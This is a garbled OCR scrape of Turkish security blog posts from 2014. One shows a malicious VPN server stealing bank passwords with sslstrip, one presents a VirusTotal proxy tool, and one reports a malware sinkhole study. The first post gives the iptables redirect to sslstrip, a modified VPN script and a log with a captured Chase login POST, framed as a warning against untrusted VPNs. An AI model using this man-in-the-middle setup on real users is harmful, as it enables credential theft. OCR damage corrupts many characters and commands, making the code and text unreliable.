yonetilen bir VPN sunucusunun nasil kullanicilarin internet bankaciligs sifrelerini ¢alabilecegini arkadagima gostermeye ve elestirilerine
bu yazi ile karsilik vermeye karar verdim.

Simiilasyon i¢in sanal makinede yiiklii olan Windows XP igletim sistemi {izerine bir VPN istemcisi yiiklemeye karar verdim. Kali igletim
sistemi tizerinde yiiklii olan strongsWan uygulamasi ile bu istemciyi bagladiktan sonra Kali {izerinde sslstrip aracini port 8080 tizerinde
calistirdim.

-l oy

S
2 VPN Connect - 192.168.1.51 [= |[01/(X]

Connect | Metwork |

lacal id configured

remote id configured
pre-shared key configured
bringing up tunnel ...
network device configured
tunnel enabled

Credentialz

Usemame |mertsarica

Paseword |

ssistrip araci, http iizerinden gergeklesen bir trafikte yer alan tiim https:// baglanti adreslerini http:// ile degistirerek kendisi
tizerinden hedef sistem ile baglanti kurarak ortadaki adam saldirisi (MITM) ile sifreleri ¢alabilmektedir.

Ardindan Gokhan POYRAZ'm blog yazisinda yer verdigi vpn.sh betik dosyasindan NAT gegen 2 satirt silip yerine sslstrip aract igin
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 satirini ekledim. Bu satir ile iptables'in,
port 80 tlizerinden giden (outbound) http trafigini sslstrip'in ¢alistigi port 8080'e yonlendirip aracin tiim https:// baglantilari http://'ye
¢evirmesini sagladim.
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https://play.google.com/store/apps/details?id=com.fsecure.freedome.vpn.security.privacy.android&hl=tr
http://www.kali.org/downloads/
http://www.raspberrypi.org/
http://openvpn.net/
https://twitter.com/uboreas
https://twitter.com/uboreas/status/449947043084390400
http://clxdev.wordpress.com/2014/03/29/strongswan-ipsec-for-linux/
http://www.strongswan.org/
https://www.shrew.net/download/vpn
https://github.com/moxie0/sslstrip

% Raspberry | % Kali x

root@kali:/# cat /usr/local/bin/vpn.sh

#!/bin/bash

echo 1 > /proc/sys/net/ipvd/ip_forward

s'IeeE 1

iptables -A FORWARD -0 eth0 -i eth0D -s 10.71.80.0/24 -m conntrack --ctstate NEW -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# iptables -t nat -F POSTROUTING

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port S080
sleep 1

/usr?'loca'l/sb'in/‘ipsec start

root@kali:/# i

Simiilasyon i¢in oncelikle XP ile Kali arasinda VPN baglantisini kestim. Ardindan Chase Bank'in web sitesine http://www.chase.com
adresinden baglanmak istedigimde sunucunun beni otomatik olarak https://www.chase.com adresine yonlendirdigini gordiim. Kaynak

kodu iizerinde https:// 6nekini (prefix) arattigimda 40 tane sonug ile karsilagtim.

‘_‘] CHASE Bank - Credit Cards, | (“-j wigw-source:hbtps: e ch % R (=1 [t

€« C' B hitps:/fwww chase.com By =

Personal Business commercial Find a Branch or &TM Contact Us En Espariol

-

CHASE © 3

Products & Services Why Chase? & Log Inor Enroll

WE HAVE THE RIGHT v . Welcome
CREDIT CARD FOR YOU

FROM CREDIT CARDS THAT OFFER
CASH BACK TO SAVINGS ON
INTEREST, WE HAVE THE RIGHT
CARD TO FIT YOUR NEEDS.

f Log In to Accounts

TS ' (w
Get Started
B Remember Me

Helping Vets
Transition to

Planting it
Forward in

Tweet with
W @ChaseSupport

Have questions or need help resolving Civilian Jobs Miami
an issue? Chase Customer Support JobsMission.com site connects Chase support for an aquaponics lab
is using social media to strengthen and veterans with more than 130 combanies e A S e e i e L

Minirnize |-
(& yiew-source:htps: /A, chase,.com o =

1
7| <html> hitpsi/f L4 &l * |
1| <head:>
4 <meta http-eguiv="content-type” content="text/html; charset=UTF-5"/> E
5 <meta name="keywords" content="student loans, business banking, comoercial banking, auto loans, Checkings, Chase —
hank, providez credit cards, mortgage, investing and retirement planning™/> o
(] <meta hame="description”™ content="CHASE Bank provides credit cards, mortgage, commercial banking, auto loans,
investing and retirement planning, checking, student loans, and business banking. Chase what matters!"/ /> =
7 <link rel="canonical” href="https://fuvy.chase.com”/ >

& <title>CHASE Bank - Credit .Card.s., Mortgage, Personal & Commercial Banking, Auto Loans, Investing, Retirement
Planning, Checking, and Business Banking</titlex

] <link rel="stylesheet” href="/c/040614/ete/designs/chasecomhomepage/clientlibs.ess" type="text/css"/>

10 <link rel="shorteout icon” href="/etc/designs/chasecom/images/favicon.ico™ type="image/vnd.microsoft. icon™/ >

11 <link rel="icon™ href="/etcg/designs/chasecom/ images/favicon.ico™ type="image/vnd.microsoft.icon™/ >

i3 <seript>

14 var tagManagerConfig =

15 tagServer: "https://wuw.chase.com™
16 ¥

17 <fscripts

1% <script type="text/javascript™ src="/c/040614/apps/chase/clientlibs/foundation/scripts/Peporting. js"></script>

19 <script id="jpmojs-script”™ data-base="true" src="/c/040614/apps/chase/clientlibs/foundation/ jpmeis/ s/ jpme. is"
type="text/javascript”></script>

| <scripts

21| // Register contentJ3 and sitedS paths

22 require.configl {

i paths: {

4 "content™: tagManagerConfig.taglerver+"/apps/chase/clientlibs/foundation/contentis/ js/content”,
5 "zite': tagManagerConfig.tagServer+"/apps/chase/clientlibs/foundation/sitejs/jsi/site”,

6 "content/conf/appsconfig”:  tagManagerConfig.tagServer+"/etc/chase/appsconfig”

| )

30| </script>
3 <script id="homepage-po-script® sro="/c/040614/apps/chase/clientlibs/foundation/publishoptimized/homepage—po-tmin, j="

Type="text/ javascript </ scripos

-
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Ardindan XP ile Kali arasinda VPN baglantis1 kurduktan sonra Chase Bank'in web sitesine http://www.chase.com adresinden
baglandigimda, araya giren sslstrip aracinin baglantiy1 https://www.chasebank.com sitesine yonlendirmedigini gordiim. Kaynak kodu
iizerinde de https:// 6ntakini arattigimda da 0 sonucu ile karsilagtim ve sslstripin aradaki adam saldirisini gergeklestirmesi i¢in kullanict
adina mert gifre kismina da dert yazdim. Son olarak sslstrip.log dosyasina baktigimda ise bu aracin girdigim kullanici ad1 ve sifreyi kayit
dosyasina yazabildigini gormiis oldum.

'i J CHASE Bank - Credit Cards, | % (i_-l wigw-source e, chase.con % W [= !ETI [

€ C' [ www chase.com Ry =

-

Personal Business Commercial Find a Branch or ATM Contact Us En Espafiol

CHASE © 3

Products & Services Why Chase? & Log In or Enroll

Welcome

INTRODUCING THE QUICK AND SIMPLE CARD FINDER

IN JUST 3 STEPS,
FIND THE CARD THAT
FITS YOUR NEEDS.

UNiTeo

8 Log In to Accounts

Get Started

B reremt

Find the
Right
Business
Card

Ready to
Accept
Credit Cards?

Annlv anline At

Live life
on your
own terms.

' L‘] CHASE Bank - Credit Cards, | % y L‘] view-source v, chase,con % ==
€ C' [ view-source: www .chase.com rel =
: =
ChEmls . https: | - Al v | x| 2
<head>

<meta http-equiv="content-type"” content="text/html; charset=UTF-8"/>
<meta name="keywords" content="student loans, business bhanking, commwercial bhanking, auto loans, Checkings, Chase
hank, providez credit cards, mortgage, investing and retirement planning™/>
[ <meta name="description” content="CHAZE Bank provides credit cards, wmortgage, comoercial banking, auto loans,
investing and retirement planning, checking, student loans, and business banking. Chase what matters!"/ />
7 <link rel="canonical™ href="http://wuw.chase.com"/ >
& <title>CHASE Bank - Credit Cards, Mortgage, Personal & Commercial Banking, Auto Loans, Investing, Retirement
Planning, Checking, and Business Banking</title>
4 <link rel="stylesheet” href="/c/040614/ete/designs/chasecomhomepage/clientlibs. os3™ type="text/osa"/>
10 <link rel="shortecut icon”™ href="/etefdesigns/chasecom/images/favicon.ico™ type="image/vnd.microsoft.icon™/ >
11 <link rel="icon™ href="/etcg/designs/chasecom/ images/favicon.ico™ type="image/vnd.microsoft.icon™/ >

;e ok

12| <scripts>

14 var tagManagerConfig = {

15 taglferver: "http://www.chase.com”
16 Fi

17 LY BCEipes

1% <script type="text/javascript"™ src="/c/040614/apps/chase/clientlibs/foundation/scripts/Beporting. js"></script>

19 <script id="jpmcis-script”™ data-base="true" src="/c/040614/apps/chase/clientlibs/foundation/ jpmeis/ s/ jpme. is"
type="text/ javascript"s</script>

Bl <Script>

1 // Register contentJ3 and sitedS paths

2 require.configi( §

I3 paths: {

4 "content™: tagManagerConfig.tagServer+"/apps/chase/clientlibs/foundation/contentis/ js/content”,
5 "zite”: tagManagerConfig.tagServer+"/apps/chase/clientlibs/foundation/sitejs/js/site”,

26 "content/conf/appsconfig”:  tagManagerConfig.tagServer+"/eto/chase/appsconfigh

7 +

| 3]

30| </script>
31| <script id="homepage-po-script” sro="/c/040614/apps/chase/clientlibs/foundation/publishoptimized/ homepage-po-min.is"

type="text/javascript”></script>

< Kali x 1 b
rootékall . —# tgt SS1strip. 1 -

]
2014-04-21 22:23:24,562 SECURE POST DaL3
auth_siteld=coL&auth_context Id=log auth_passwd ?-der(hu(h,n(preasorh&autmotpnreﬂa-d.au( h_ot p=&L0B=RBGL0gondauth_externalDat a=LOBXIDREGL ogondauth_deviceld=8a
uth_ ueu\cesi?nnurt-‘\‘a\rnaut ator Phcifiedia2sacual 05 CpuN2 2XIAK2 2w ndows +NT+ 5. 182 2%2C%2 2vendor 2 2X3a%2 292 2%2C%2 2vendor Sub%2 2%3a%2 252 2%2C%2 2 product Sub%2 2%3a%22201
00101%22%2CX2 2cook  eEnabl edX2. Bﬂtrue\’C\.‘.’bui1dID\22‘\.3A\22201J03 ’2051"\2’\2(\22appcodeha-e\22\ii\._‘voz1l1a\2’NIC\P‘appNaw\.‘.’\]A‘\ZEN!tscape‘u"‘\.2(\22agp\-’ersior‘\2"\3&‘\.225 « 0+ X28wi ndows X2 982 2%2C%22
platformfl 2%3A%2 2win32N2 2%2CK22user Agent %2 2% 3482 2Moz 11 1a%2F 5. 0+%2Bwindows+NT+5. 1%38+r vE3A2E. 0%29+GeckoX2F 20100101 +F irefox2F 28. 082 2%2C%2 2product 2 2% 3A%2 2GeckoN2 2%2C%2 2 1 anguage? 2%3A%2 2en-USE2 2%2CX
220nL 1neX22%3ATrues” p\z(\:z?‘lugins JANSENT BX2 2name2 2% 3a%2 2wi ndows +Medi a+P1ayer +P u u-:namcolInhl1hrarz\?2\2(\22\.er‘sion\.z\;n&z?\z?'\-‘msu\zc\nscrcen\..’\;a\ %2 2aval nelgh(\z."\-)nsﬁé\zc\zzz
vai lwidth%22%3a1600%2C%22co orD!Dth‘\.?"\-}A"A\.c‘\-}"huight\l)‘\]k%@\?(\?? 1xelDepthi22%3a, -I\.(\.Zhidth\.)‘\]aléom DR2CK2 2extraX2 2NIANTBN22 Javascript_verX22%3aX222. 0%22%2CK2 2T i mezoneX2 2%3A -1 B0%7 0AT D&a
uth, gf»ﬁecool.ie-adtokenmeferer-htlp\l-\\_F\sz chase. cos2F&auth_tokencode=
root@ka

Bu simiilasyon ile giivenilir olmayan bir VPN sunucusu iizerinde ¢alistirilan/kullanilan gesitli araglar ve yontemler ile art niyetli kisilerin
sifrelerinizi kolaylikla ¢alabilegini gdstermis oldugumu diisiiniiyorum. Siz siz olun, bilmediginiz bir VPN sunucusu kullanmadan 6nce
basiniza neler gelebilecegini tekrar ama tekrar diisiiniin!
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Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

VirusTotal Proxy

Source: https://www.mertsarica.com/virustotal-proxy/
By M.S on April 1st, 2014

=3,

Artniyetli kisilerin istismar kitleri sayesinde yamasi eksik olan (java, flash, pdf, internet tarayicisi vs.) sistemleri kontrol altina aldiklarina
ve bu sistemlere uzaktan ydnetime imkan tantyan zararli yazilimlar yiiklediklerine son yillarda siklikla rastliyoruz. Ozellikle medya,
oyun, haber siteleri gibi hit sayis1 oldukc¢a fazla olan siteler, istismar kitlerini yliklemek i¢in art niyetli kisilerin son zamanlarda hedefi
haline geliyorlar.

17 Aralik 2013 tarihinde Milliyet'in internet sitesini Chrome internet tarayicisi ile ziyaret edenler bir giivenlik uyarisi ile karsilastilar. Bu
uyarida Google'n siteyi en son ziyaret ettiginde zararli bir igerikle ile karsilastigin1 ve bu nedenle siteyi kara listeye aldigi belirtiliyordu.
Ag lizerinden zararli yazilim tespiti yapabilen cihazlar kullanan kurumlar ise o esnada Milliyet'i ziyaret eden kullanicilarinin tam olarak
ne ile kars1 karsiya olduklarini tespit edebildiler. Bu, Neutrino adinda bir istismar kitiydi.

B 00 Ecoogle safe Browsing o

L s safebrowsing.clients.google.com/ safe stic?site=httpH3 AKZ FE2 Funww.m

Safe Browsing —~ e
Disgnostc page for milliyet.com. trid Advisary provided by L0 qle

What is the current listing status for milllyet com.trld?
Site iss Bsbed a5 SUSPICIOUS - visiting this web site may hamm your computer.

What happened when Google visited this site?
Of the 29 pages wa testod on the site over the past 80 days, 4 page(s) resulted in malicious softwars being downloaded and installed without usar consent, The
last time Googhe visited this site was on 20131217, and the last time suspicious content was. found on this site was on 2013-12417,
Mallcious software (s hosted on 1 domaln(s), including resesvenone, comy.
1 damain{s) appear to be functioning as intermediares for distributing matsare to visitors of this site, including 23.226.227.00,
This site wes hosted on 2 network(s} including AS#121 (TTHET), AS433H (NETDIREKT-TR).

Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, milllyet.com.trid did not appear to funclion as an inemmedisry for the infection of any sites.

Has this site hosted malware?
Na, this site has not hosted malicious software over the past 90 days

How did this happen?
In some cases, third paries can add maficious code to legitimate sites, which would cause us to shaw the waming message,

« Ragtum to the previous page
the cwner of this web site, you can request a review of your site using Goeogle Webmaster Tools, Mons information about the review process is available in
tur Help Center,

Elinizde en son teknoloji bir cihaz da olsa, Chrome gibi akilli bir internet tarayicisi da kullaniyor olsaniz kimi zaman bu tehditler
karsisinda uyari/alarm alana dek, sisteminiz veya kurumunuzun sistemleri ¢oktan art niyetli kisilerin kontrolii altina girmis olabiliyor.
Zararl1 yazilim analizi ile ilgilenen biriyseniz de analiz i¢in ¢ogu zaman zararli yazilima/koda erismeniz bu uyarilarla karsilastiktan sonra
sunucuya/koda erisimin yasaklanmasi/kaldirilmasi nedeniyle pek miimkiin olamayabiliyor.

Bildiginiz gibi VirusTotal, sadece zararl1 yazilim analizi yapmakla kalmayip ayrica 52 farkli kaynak {izerinden zararli URL, kod analizi
gerceklestirip, raporlayabiliyor. Corbada tuzum olsun, kullanicilar, glivenlik uzmanlari, bu tehditlerden daha kisa siirede haberdar
olabilsinler diye VirusTotal ile entegre ¢aligsabilen bir ara¢ hazirlamaya karar verdim.

Adina VirusTotal Proxy dedigim bu araci, internet tarayicist ve sistem iizerinde calisan bir proxy aract (6rnek: CNTLM) arasinda
konumlandirdim. Internet tarayicisi ile kullanici herhangi bir siteye baglanmaya ¢alistig1 zaman bu arag kullanicinin baglanmaya galistigi
adresi paralelde alarak VirusTotal sitesine gonderiyor ve kullaniciya 52 farkli kaynak {izerinden bu site {izerinde zararli bir kod olup
olmadig1 konusunda bilgi veriyor. Sadece bilgi vermekle kalmayip ayrica belirtilen alarm seviyesine gore uyart sesi de veriyor.

Aracin kullanimina gegmeden Once, sistem tlizerinde mutlaka bir proxy aracinin ¢alismasi gerekiyor. Bunun i¢in kendi sistemim iizerine
acik kaynak kodlu CNTLM proxy aracin1 kurdum ve tiim trafik i¢in proxy vazifesi gorebilmesi adina ayar dosyasindaki (cntlm.ini)
NoProxy ayarmi * olarak degistirdim ve 3128. baglant1 noktasinda (port) ¢aligtirdim.
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https://www.mertsarica.com/virustotal-proxy/
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http://www.milliyet.com.tr
http://blog.trendmicro.com/trendlabs-security-intelligence/a-new-exploit-kit-in-neutrino/
http://www.virustotal.com
http://www.mertsarica.com/codes/vtp.py
http://sourceforge.net/projects/cntlm/
http://sourceforge.net/projects/cntlm/

| entlm.ini - Notepad

(o B |

File Edit Format View Help

# proxies. Normally the value is auto-guessed.
#
# wWorkstation netbios_hostname

# List of parent proxies to use. More proxies can be defined
# one per line in format <proxy_ip=:<proxy_port>
#

Proxy 10.0.0.41:8080
# Proxy 10.0.0.42:8080

# List addresses you do not want to pass to parent proxies
# * and 7 wildcards can be used
#

NOProxy %
# specify the port cntlm will listen on

# you can bind cntim to specific interface by specifying
# the apqropriate IP address also in format <local_ip>:<local_port>

# cntlm listens on 127.0.0.1:3128 by default

#

Listen 3128

# If you wish to use the s50CKS5 proxy feature as well, uncomment
# the following option. It can be used several times

# to have sS0CK55 on more than one port or on different network
# interfaces (specify explicit source address for that).

#

# WARNING: The service accepts all requests, unless you use

# S0CKsS5User and make authentication mandatory. SOCKSSUser

# can be used repeatedly for a whole bunch of individual accounts.
#

#SOCKS5Proxy 8010
#50CKS55User dave:password

# Use -M first to detect the best NTLM settings for your proxy.

m

L

S

Aracin kullanimi ise oldukga basit. Araci ¢alistirmak igin biri opsiyonel olmak {izere 4 adet parametre kullanmaniz gerekiyor. -1
parametresi ile aracin sistem tlizerinde hangi baglanti noktasi iizerinde internet tarayicisindan gelecek baglanti isteklerini dinleyecegini
belirtiyorsunuz. -r parametresi ile ister kendi sisteminizde galisan ister baska bir sistem iizerinde ¢alisan ve internet baglantis1 kuracak
olan proxy sunucusunun ip adresini belirtiyorsunuz. -p parametresi ile de haberlesilecek olan proxy sunucusunun hangi baglanti noktasi
iizerinde calistigini belirtiyorsunuz. Opsiyonel olan -a parametresi ile de VirusTotal Proxy aracinin VirusTotal {izerindeki 52 farklh
kaynaktan kag1 zararl kod tespit ederse sesli alarm iiretmesi gerektigini belirtiyorsunuz. (-a 2 ile 2 tane kaynak zararli kod tespit ederse

sesli alarm ver gibi)

B Ch\Windows'system32cmd.exe - python vip.py -1 8889 -r 127.0.0.1 -p 3128 -a 2

UirusTotal Proxy [http:/suvwu_mertsarica.coml

[+] Listening on port 8889

=

Son adimda ise internet tarayicinizin ag ayarlarinda, proxy adresi olarak VirusTotal Proxy aracinin dinledigi ip adresini ve baglanti
noktasint belirtiyorsunuz ve ardindan VirusTotal Proxy aracini (vtp.py) calistirtyorsunuz ve web sitelerini gezmeye basliyorsunuz.
VirusTotal Proxy araci siz web sitelerini gezerken arka planda tiim haberlestiginiz siteleri VirusTotal'a gonderecek ve hem ekrana hem

de vtp.txt dosyasina hangi sitede, kag tane zararli kod tespit edildigini, rapor adresleri ile birlikte kayit altina alacaktir.
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http://www.mertsarica.com/codes/vtp.py

Options

General Tabs Content  Applications  Privacy  Security Sync Advanced

General I Data Choices | Metwork | Updatel Certificates|
i 5
Connection Settings Iﬁ 1

Configure Proxies to Access the Internet

) No proxy
) Auto-detect proxy settings for this network

| Use system proxy settings

@ EManuaI proxy configuration:

HTTP Proxy: 127.001 Port: @889 > i

[¥] Use this proxy server for all protocols

S5L Proxy: (127001 Port: | 883891
ETP Proxy: (127001 Port: | 8889
SOCKS Host: |127.001 Port: | 8889

SOCKSv4 (@ SOCKS VS
No Proxy for:
localhost, 127.0.01 ]

Example: .mozilla.org, .net.nz, 192.168.1.0/24
| Automatic proxy configuration URL:

i data:text/javascript, function3620FindProxyForURL(url %) Reload ﬁ

[oc ] [cnee | [0 ]

I ettt

- milliyet.com.tr @

£ Most Visited Getting Started Suggested Sites Web Slice Gallery

orer g 30 Mart gecesi secim sonuclarini Tirkiye'ye milliyet.com.tr duyuracak...

Detayli bilgi ve rezervasyon igin; . . ® = Buginkis Gazete Favorilerime ekle
4440329 touristica’ i
% Milliyet Heryerde Sy
2 unye
www.touristica.com.tr tatil agkina B ot Arplv Kampanyaiar
28 Mart 2044, Cuma  Bizi inleyin: ] Uyelik BIST 68.433 + EURD30080 008¢ USDZ1910 0234  ALTIN 91,3900 e
/ M -I I. t i
, kelime ya da haber Ara
MY EL.com.tr v
T GASINDA GQUVEN
Son Dakika Yazarlar Siyaset Ekonomi Finans 8 ORE Dunya Gundem Magazin Cadde

FLAS

-g.dou ¢ lick »t Detection Rat
url/s 155
aaabehbldi1de

i.milliyet » Detection R:
ymsSenSurl sion e

798 afdcchfc

tp://cdn . tocd » Ratio: @
1.consen/url/s. ] swiBurl=http:.
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Hem siradan kullanicilarin hem de siber giivenlik uzmanlarinin faydalanabilecegi bir ara¢ olmasi dilegiyle bir sonraki yazida goriismek
iizere herkese giivenli giinler dilerim.

Not #1: VirusTotal Proxy aracini buradan indirebilirsiniz.

Not #2: Programun ihtiya¢ duydugu Twisted Python kiitiiphanesini buradan indirebilirsiniz.

Not #3: VirusTotal, otomatize islemler i¢in API'lerinin kullanilmasini rica ediyor dolayisiyla VirusTotal Proxy aracini siiphelendiginiz
siteleri kontrol amagli kullanmanizi rica ederim. VirusTotal API'sine buradan ulasabilirsiniz.

Sanal Obruk

Source: https://www.mertsarica.com/sanal-obruk/
By M.S on March lst, 2014

e

Obruk, yatay veya yataya yakin tabakali kirectaglarinda bulunan yeralti nehirlerinin veya aktif magara tavanlarinin ¢okmesi sonucu
olugmusg baca veya kuyu goriintiisii veren derin ¢ukurluklardir. Sanal obruk (sinkhole) ise zararli yazilimlarla yapilan miicadelede, zararli
yazilim salginini (6zellikle solucanlar) durdurmak, zararli yazilim bulagan sistemlerin sayisini tespit etmek ve zararl yazilim hakkinda
bilgi toplamak icin giivenlik firmalari, giivenlik arastirmacilar1 ve zararli yazilim analistleri tarafindan komuta kontrol merkezini ele
gecirmeye yonelik kullanilan bir yontemdir.

Bu yontemde 6ncelikle zararli yazilimin haberlestigi komuta kontrol merkezi tespit edilir. Ardindan alan admi kayit eden firma ile
iletisime gecilerek alan adinin giivenlik firmasina transfer edilmesi saglanarak sunucu iizerine gelen trafik giivenlik firmasi tarafindan
analiz edilmektedir. Bunun disinda zararli yazilim i¢inde gomiilii olan DGA (domain generation algorithm) analiz edilerek, zararl
yazilimm ilerleyen zamanlarda haberlesecegi muhtemel alan adlari tespit edilerek kayit altina alinmakta ve trafigin analiz edilmesi
saglanmaktadir. Bunlara ilave olarak komuta kontrol merkezi olarak kullanilan alan adlari, zaman agimina ugramaya yakin bir zamanda,
salginda, aktif olarak kullanilmaya baslanmis ise zaman asimina ugramasi beklenerek tekrar kayit altina alinarakta trafik analiz
edilebilmektedir.

2013 yilinda, sahte, zararli Flash Player uygulamasi ile insanlar1 kandirarak internet tarayicilarina bulasan ve sosyal medya hesaplarini
ele gecirip reklam ve dolandiricilik yapmaya calisan ¢ok sayida zararli yazilim ile karsilastik ve hemen hemen her salginda zararli
yazilimlarin farkli alan adlar ile haberlestigini gordiik. Bu salginlarda dikkatimi ¢eken, yeni kayit edilen her alan adinin en fazla bir
senelik alinmasi olmustu. Bunu firsat bilerek daha dnce analiz ettigim bir zararli yazilim tarafindan kullanilan ve zaman agimi nedeniyle
kaydi diismiis olan bir alan adin1 kayit ederek (sinkhole), 1.5 sene sonunda bu zararli yazilimin ne kadar aktif oldugunu trafigi analiz
ederek anlamaya caligtim.

Bunun i¢in zararli yazilim tarafindan kullanilan ve kayit altina aldigim alan adini, {izerinde Raspbian ve Nginx kurulu olan Raspberry
Pi cihazina yonlendirerek, zararli yazilim bulagmis sistemlerden gelen trafigi 14 saat boyunca izlemeye basladim. Tabii kazara veya
bilingli bir sekilde bu alan adina baglananlari, bu alan adinin bir giivenlik aragtirmasi nedeniyle kayit altina alindigi konusunda da
bilgilendirmeyi ihmal etmedim.
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Hack 4 Career x \_

< C A [ I w8 4=

Bu alan adi siber giivenlik arastirmasi nedenivle kayit altina ahmmstir. Bu sayfa ile karsilasivorsamz internet tarayicimza zararh vazihm

bulasmis demelktir.

Firefox veva Chrome internet taravicis: kullantvorsamz eldentiler kasmundan siipheli eldentileri silmeniz gerekmektedir.

* Firefox internet taravicist kullanvorsanz CTRL-Shift-A tusuna basark siipheli'zararh eldentileri kaldirabilirsiniz.

* Chrome internet taravicist kullamyorsaniz, internet tarayiciizin adres kismma chrome://extensions/ adresini vazarak siipheli/zararh eldentileri listeden
kaldrabilirsiniz.

Detavh bilgi almak icin http:www merisarica com adresinden benimle iletisime edebilirsiniz.

This domain has been sinkholed for cvber security research purposes. For more information you may contact me hitp:/'www mertsarica com

s S

Trafigi izlemeye basladiktan 35 dakika sonra access.log dosyasinin 400 KB oldugunu gérdiim ve bu durum bana 1.5 sene sonra dahi
zararl yazilim bulagsmis sistemlerin halen aktif oldugunu gostermis oldu.

File Edit View Options Transfer Script Tools Window Help
i 3 (2 G B Erver host <Al BA SE9 B8

“ Raspberry x| % Raspberry (1) | % Raspberry (2)

root@raspberrypi:/var/Tog/nginx# 1s -al error.log
-rW-r-——-—- 1 www-data adm 133898 Nov 26 20:04 error.log
root@raspberrypi:/var/log/nginx# 1s -al error.log
—FW-F———=— 1 www-data adm 145062 Nov 26 20:05 error.log
root@raspberrypi:/var/log/nginx# 1s -al error.log
-rW-r-—-—-—- 1 www-data adm 185345 Nov 26 20:06 error.log
root@raspberrypi:/var/log/nginx# 1s -al error.log
-rW-r-———— 1 www-data adm 224467 Nov 26 20:09 error.log
root@raspberrypi:/var/log/nginx# 1s -al error.log
—FW-F————— 1 www-data adm 358830 Nov 26 20:19 error.log
root@raspberrypi:/var/log/nginx# 1s -al error.log
-rW-r-———- 1 www-data adm 562863 Nov 26 20:38 error.log
root@raspberrypi: /var/log/nginx# i

14 saatin sonunda access.log dosyasini, en son yillar yillar 6nce kullandigim Sawmill araci ile incelemeye bagladim ve alan adin1 bu
zaman zarfinda 274 kisinin ziyaret etmis oldugunu ve 40.300 hit aldigim1 gérdiim.

274 ip adresinin IP blok bilgilerini daha 6nce Python ile gelistirmis ve yaymlamig oldugum WHOIS DESC araci ile topladigimda,
cogunun ADSL kullanicilart oldugunu gordiim fakat bu zararli yazilimin TBMM, Maliye Bakanlig1 IP bloklarinda kullanilan sistemlere
bulagmis oldugu da dikkatimden kagmadi. (Yetkililer dilerlerse ilgili IP adresleri hakkinda bilgi almak i¢in benimle iletisime gegebilirler.)

BN C\Windows\system32\cmd.exe - whois_desc.py E‘Eli:—hj

m| »

DC-ua o011l
fAnkara GPRS <2G-3G>-MGB
Ankara GPRS (2G-3G)-MGB
TELLCOM ILETISIM HIZMETLERI A.S.
= TELLCOM ILETISIM HIZMETLERI A.S.
TELLCOM ILETISIM HIZMETLERI A.S.
TURKCELL INTERMET
} Desc: TURKCELL INTERNET
Desc: Tellcom Esentepe ADEL Pool
} Desc: Tellcom Ankara ADSL Pool
Desc: Tellcom Ankara Fiber Dynamic
1 Desc: Tellcom Ankara Fiber Dynamic
} Desc: Tellcom Bornova ADSL Pool
Desc: Tellcom KARTAL Fttx Fiber
Desc: Tellcom ADANA Fttx Fiber
Desc: Tellcom Adana Fiber Dynamic
Desc: Tellcom Fiber Dynamic
Desc: Tellcom KARTAL Fttx Fiber
Desc: Tellcom KARTAL Fttx Fiber

la-Ra-la-la-Ro-lo-]

eI =T === == =y =] =]
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Bl C\Windows\system32\cmd.exe = | B S

C:sUserssMertsDesktop Desktop2:\Sinkhole>cat desc.txt | cut
unig | egrep —uwi "ADSLY
78 Okullar Yolu, Ho 1 Kucuk Kaymakli,. Lefkosa, HKibris
Ankara GPRS <(2G-3G>-MGB
AVEA Iletisim Hizmetleri A.S.
Celal Bayar Universitesi
DC-UAE-Pooll
Devlet karayolu Uzeri Uzunkum~sTRABZON
Global Iletisim Hizmetleri A.S.
Koc .Net DSL Corlu
HKonak Mah. Izmiryolu Cad.
MALIYE BAKANLIGI
Mecidiyekoy Buyukdere Cad. 1. Imar Is Hani Mo
0zt iryakiler Madeni Esya S5an. ve Tic. A.S.
SuperOnline Inc.
Buperonline Inc.
BuperOnline Inc.
Superonline International Online Information find Comm.Serv
Adana Fiber Dynamic
ADANA Fttx Fiber
Ankara Fiber Dynanic
Fiber Dynamic
ILETISIM HIZMETLERI A.S.
KARTAL Fttx Fiber
VAE Ist—Anadolu Dynamic
YAPA Istanbul Anadolu Dinamik - 1
Turk Telekom TTnet national bhackbone
Turk Telekomunikasyon fAnonim Sirketi
TURKCELL INTERMET
TURKIYE BUYUK MILLET MECLISI <TBMM>
Turksat Uydu—Net Internet
Turkszat Uydu Haberlesme Kabhlo TU ve Isletme A.S.
UAE-MARMARA?
YENIGUN INS.SAN.TIC.A.S.

C:sUsersMert Desktop Desktop2:\Sinkhole>_

Zararli yazilim, Javascript dosyasi ¢agirdig1 i¢in normal olarak en ¢ok c¢agirilan dosya uzantisi JS olmustu. Ziyaretgilerin kullandigi
internet tarayicilari siralamasinda Firefox'un en {ist sirada yer almasi da bu zararli yazilimdan en ¢ok ve kalict olarak Firefox
kullanicilarinin etkilendigini gosteriyordu. Bu zararli eklenti, ziyaret edilen her siteden gelen yanit paketine, komuta kontrol merkezinden
bir javascript dosyasi ¢agiracak sekilde programlandigi i¢in ziyaret edilen her siteye ait kayitlar, komuta kontrol merkezinde de yer
almaktayd: dolayisiyla referrers kayitlari, sisteminde zararl yazilim bulunanlarin ziyaret ettigi siteleri gosteriyordu.

Overview
Hits Visitors Size Page views Sessions Session duration Bounces Bounce Rate
40,300 274 10.28 M 22 10 00:12:51 < 40.00%
Traffic
Page views Visitors Hits
25 500 50,000
20 400 40,000
15 300 30,000
10 200 20,000
5 100 10,000
] 0 0
Country Device Category
Visitors Visitors

MW 898 % Turkey
2.9 % Azerbaijan
2.2 % United States

M 654 % MNon-mobile (desktop, laptop. server)
M 338% Unknown

0.5 % Mobile (phone, tablet)
B 02% Spider

1.8 % Morocco
0.7 % Belgium
0.7 % Germany
0.4 % India

0.4 % Vietnam
0.4 % MNetherlands
0.4 % China
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Hits

B 705% 28410 Firefox
B 184% 4 Internet Explorer
47% 189 unspecified
W 29% 1 Mozilla
B 26% 1055 Chrome
W 08% Opera
B 00% 6 unknown (possible spider)
W 00% { Safan
W 00% 1 (spider)
Web browser + Hits Visitors  Size Page views  Sessions  Session duration Bounces Bounce Rate
Firefox 28,410 70.5 % 119 520M 3 2 00:00.00 1 50.00%
Internet Explorer 7.405 184 % 108 419M 12 6 00:12:51 1 16.67%
unspecified 1,896 47 % 138 14 K 5 1 00:00:00 0 0.00%
